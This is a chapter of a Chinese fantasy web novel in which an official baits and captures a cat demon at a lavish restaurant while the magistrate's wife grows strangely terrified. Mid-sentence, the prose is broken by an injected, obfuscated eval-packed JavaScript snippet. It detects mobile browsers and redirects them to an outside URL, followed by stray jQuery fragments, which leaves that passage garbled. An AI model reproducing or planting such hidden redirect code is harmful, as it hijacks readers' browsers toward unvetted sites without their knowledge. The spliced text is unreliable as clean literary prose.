13. 狸奴不出门(三)
作品:《花妖偷渡手记》 天色渐暗,庆真楼内外亮起盏盏彩灯,衬得整条街辉煌灿烂。
楼内珠帘画堂,灯烛晃耀,欢歌宴饮,人声鼎沸,茶博士、酒博士端着盘盏,穿梭如飞。
二楼雅间内,不时传来丝竹管弦之声,歌伎或抱琵琶,或执檀板,低吟浅唱。更有身着留仙裙的盛装女郎,杨柳腰,芙蓉面,在回廊间惊鸿一现,翩然上楼去了。
沈灵均直看得眼花缭乱。庆真楼盛名在外,如今的热闹排场更胜从前。
等了好半天,才有一个伙计前来招呼,“客官是坐楼下还是楼上雅间?要些什么酒菜?”
“劳烦通报你们曹掌柜,沈某有要事同他商议。”
伙计细细他打量一番,一拍脑袋,“恕小的眼拙,原来是县衙的沈大人,您来的不巧,曹掌柜正陪徐知县喝酒呢。”
沈灵均皱眉。徐知县是庆真楼的常客,饮酒宴乐往往通宵达旦,大醉而归,次日一整天都不会出现在县衙。
“他们人在何处?”
“自然是三楼专为招待知县而设的天水阁。今日知县夫人生辰,点了整个彩衣班上去助兴呢。”
“彩衣班?”
“彩衣班是我们庆真楼最好的乐伎舞娘班子,个个色艺双绝。客人来我们这儿,不光为了饱口福,还为了饱眼福呢。”
伙计觑着他神色,心道,你顶头上司在这里享受,你但凡有点眼色,也不会冲进去扫兴。
不料沈灵均一点眼色也无,还掏出一块县衙令牌,“捉妖之事刻不容缓,劳烦带我去见知县。”
徐知县今年四十有五,生得方额广颐,一副厚福之相,自他上任以来,南安县风调雨顺,从无灾祸。他也就放心地与民同乐,日日沉醉于温柔乡中。
伙计引着沈灵均进来的时候,他正捏着酒杯,目不转睛地观赏舞姬白生生的细腰。一见沈灵均,便眉花眼笑,“沈老弟!稀客呀!什么风把你给吹来了。快入席。曹老弟,再来两壶酒!”
坐在东首的曹掌柜约莫三十岁年纪,服饰华贵,一脸精明相,留着一部山羊胡须。他放下筷子,起身笑道,“久仰沈大人威名,始终不得一见,今日何其有幸。”
徐夫人也起身见礼。她生了一张窄小的瓜子脸,五官偏偏比寻常人都大上一号,像要脱离脸盘飞出来一样。
沈灵均一一回礼。
曹掌柜满面堆笑,“沈大人快请坐,尝尝庆真楼最出名的眉寿酒,喝了强身健体,增福增寿。”
曹掌柜递上一只白瓷杯,盛满琥珀色的酒液,一股醇香扑鼻而来。他对乐班打个响指,丝竹管弦重新奏响,舞姬裙下生风,转起圈来。
站在最前头的舞姬生得妩媚动人,频频给徐知县递眼色,姿态间颇有挑逗之意,引得徐知县蠢蠢欲动。
沈灵均注意到徐夫人狠狠剜了她一眼。
他站起身,拱手道,“徐大人,近日多名百姓举告,有猫妖夜入民宅,夺食伤人,属下有一计可引出猫妖,还需曹掌柜鼎力相助。”
徐知县大手一挥,“下值以后不谈公事。台上这位姑娘年方几何呀?”
舞姬丹唇轻启,尚未答话,徐夫人按捺不住,隔着衣服,在知县老爷胳膊上狠狠掐了一把。
徐知县惊叫,“哎哟!你这是做什么?”
“老爷喝多了,吃块点心吧。”
她夹起一块栗子糕,要往知县老爷嘴里送。
徐知县正不耐烦,一把推开。
栗子糕掉到桌上,咕噜咕噜滚落在地。徐夫人又羞又恼,脸腾地红了。
曹掌柜忙打圆场,“今日是夫人生辰,好端端的生什么气呢。夫人,快给老爷赔个不是。”
沈灵均微感奇怪。这掌柜对知县敬畏之极,对夫人却不甚尊重,言语间还有几分颐指气使。
徐夫人也真听话,起身抹了抹并不存在的眼泪,行了一礼,“妾身不胜酒力,言行无状,求老爷赎罪。”
徐知县摆摆手,“免了免了。”一双眼睛仍黏在舞姬脸上。
徐夫人只觉得心里堵得慌。
想当年,她领着彩衣班,在台上献舞时,知县老爷也是这般直勾勾地看着自己。那时恰逢前任徐夫人过世。她抓住机会,使劲浑身解数,终于把自己嫁进了徐府。
舞姬一朝飞上枝头变凤凰,多亏了命运的眷顾,也多亏了自己争气。然而知县老爷喜新厌旧的本性不改,永远有下一个彩衣班的头牌,吸引他的目光。
眼下这个,生得妖妖娆娆,一看就不是好对付的。
她既觉恼怒,又觉气苦,方才是装哭,这会儿思来想去,眼眶一酸,竟真的掉下泪来。
沈灵均甚是执着,又对徐知县道,“下官想在这庆真楼设局,捉拿猫妖,相烦曹掌柜多准备些糕点,若有桂花糕就更好了。”
徐知县这才把目光从舞娘身上移开,“为何要在此处捉妖?”
沈灵均命乐班暂停,从头说起,把猫妖伤人之事一一道来。
徐知县越听脸色越难看,“沈老弟,近来本县频频有妖孽作祟,你可要多留神啊。莫让百姓说我们县衙无能。”
“徐大人说的是,所以下官匆匆赶来,一刻也不敢耽搁。”
“嗯,曹老弟,你看这主意如何?”
知县大人都发了话,曹掌柜哪有不应允的,连声称是,一叠声吩咐人准备点心去了。
徐夫人一开始还未怎样,听到后面,脸色越来越白,几乎坐立不安,抓住知县的袖子求恳,“老爷,妖……妖会来这里?妾身……害怕。”
“怕什么?沈大人法术高超,有他在,放心吧。”
“妾身……妾身想回家。”
徐知县怒道,“无知妇人,上不得台盘。你是信不过沈大人,还是信不过县衙?”
徐夫人缩了缩脖子,不敢再言语。
沈灵均一瞥眼,只见桌子底下,她那凤仙花汁染过的长指甲,深深地掐进掌心。
庆真楼的彩灯,往常要亮到天明,今夜一反常态,早早地熄灭了。
整条朱雀大街悄无人声,更无丝竹管弦。
黑暗中,一股股甜香随着晚风飘散出去。
有莲子、蜜枣、糖藕、板栗、桂花……
没有人,不,没有猫能抵挡住这样的诱惑。
一团灰褐色的影子攀上了庆真楼的飞檐,沿着虹桥一路向上,敏捷地跳进二楼打开的一扇窗。
猫妖的身子匍匐在地毯上,左嗅嗅,右闻闻。绿色的瞳孔陡然变大。
回廊正中有张长桌,摆满了各色糕点。阵阵香味就是从此处传出。
猫妖毛茸茸的尾巴高高竖起,灵巧地跳上桌。
每一块糕点的气味,都如此熟悉。
它急切地埋头吃起来,爪子勾住什么就往嘴里塞,一边咀嚼,一边漏下许多碎屑。脊背一拱一拱,从长桌一头跳到另一头。
顷刻间,糕点扫荡一空,只余一片狼藉。
猫妖吃饱了,肥硕的肚子微微鼓起,慵懒地嗅了嗅空气,跳下长桌。
它并不急着逃跑,反而转了个身,朝回廊内窜去。
庆真楼二楼设有三十间雅间,供宴饮待客之用,另有一排厢房,是彩衣班休息之所,里面设有琴阁、书斋,极尽风雅。
猫妖熟门熟路,跑到最大一间厢房,用爪子扒开门
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084220|179499||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,窜了进去。
屋子里没有点灯,猫妖却优哉游哉往地上一躺,露出毛茸茸的肚皮,转动头颈,不住地扭来扭去,像是在享受极大的乐趣。
沈灵均一路跟在后面,此时轻叱一声,一张金色的网疾飞而出,不偏不倚地罩在猫妖身上。它受了惊,弓身弹起,跳到一人多高,那金网却越收越紧,网线深深地嵌进皮肉,勒出道道血痕。
猫妖发出一声凄厉的惨叫,露出两排尖牙,拼命扭动挣扎,却摆脱不了金网的束缚。
庆真楼的灯火次第亮起,把三层楼照得亮如白昼。
徐知县等人来到门口。他壮起胆子,细看那猫妖:看体型,比普通狸奴大了一倍有余,绿眼灰毛,长身巨爪,确是妖孽无疑。
他抚掌大笑,“沈老弟,又立一大功!”
徐夫人双手牢牢地捂住眼睛,浑身都在颤抖,似乎站也站不住了。
沈灵均道,“多谢曹掌柜相助!知县大人,猫妖既已落网,我这就将其带回……”
“慢着,”徐知县眼珠一转,“方才这妖为何直接闯进这间厢房,倒像认得门似的?”
他话音刚落,猫妖好像听得懂一样,突然纵身朝他们扑去。虽然被金网所缚,动弹不得,但它脖子伸得老长,口中不住发出呜呜悲鸣。
徐知县被它的尖牙所慑,慌忙退后两步,“沈老弟,这……这是怎么回事?”
“大人放心,它挣不脱缚妖网。”
“那就好。”徐知县转转眼珠,已有了主意,“把它关进县衙牢房,三日后公开处决,让百姓们看看本县斩除妖孽的雷霆手段!”
沈灵均觉得有些不妥,正要说话,曹掌柜抢先叫道,“知县大人英明睿智,沈大人天纵奇才,真乃百姓之福。今日被这孽畜搅了兴致,来人,端酒,奏乐,咱们喝到天明,不醉不归!”
徐大人一听到喝酒二字,正中下怀,方才心头的疑虑也抛到了脑后。
“还是曹老弟知道疼人,来,沈老弟,咱们把剩下的眉寿酒喝了,保你福寿绵延,到八十岁还能有今日的身手。”
徐夫人低声哀求,“老爷,妾身头疼的很……”
徐知县嫌弃道,“那就让车夫先送你回去,别扫大伙的兴。沈老弟,怎么杵在那儿不动啊?是不给本县面子?”
沈灵均暗暗叹气,知县大人执拗起来,九头牛都拉不回来。
“容下官先把猫妖关入大牢,再来陪大人饮酒。”
“好,快去快回!”
徐知县眼泛水光,肥大的身躯由曹掌柜搀扶着,摇摇晃晃地走了。
猫妖还在网中挣扎,不时发出一声响亮的嚎叫,地上落了一层灰褐色的毛,混着淋漓鲜血。
沈灵均念了个诀,将它收入乾坤袋中。
这乾坤袋也是师父留下的法宝,可以隔绝内外,专门用来收纳被制服的妖物。
不料猫妖入袋,耳畔仍有呜咽之声。
沈灵均一回头,发现那声音是徐夫人发出来的。
她纤弱的身子委顿在地,因吓得狠了,泪水冲花了妆,楚楚可怜的瓜子脸上,红一块,绿一块,甚是可怖。
乾坤袋可收妖物,却收不了徐夫人。
沈灵均只好将她扶起来,好言宽慰几句,送到门口,目送她上了徐府的马车。
朱雀大街正是最热闹的时候,歌舞丝竹,人声鼎沸。他却无心流连,径直回到县衙,把猫妖关入大牢。
那毛茸茸的妖物不再挣扎,圆鼓鼓的肚子贴在地上,绿色瞳孔里满是哀伤之色。
沈灵均接触到它的目光,不由地一怔。
它似乎想对他说些什么。

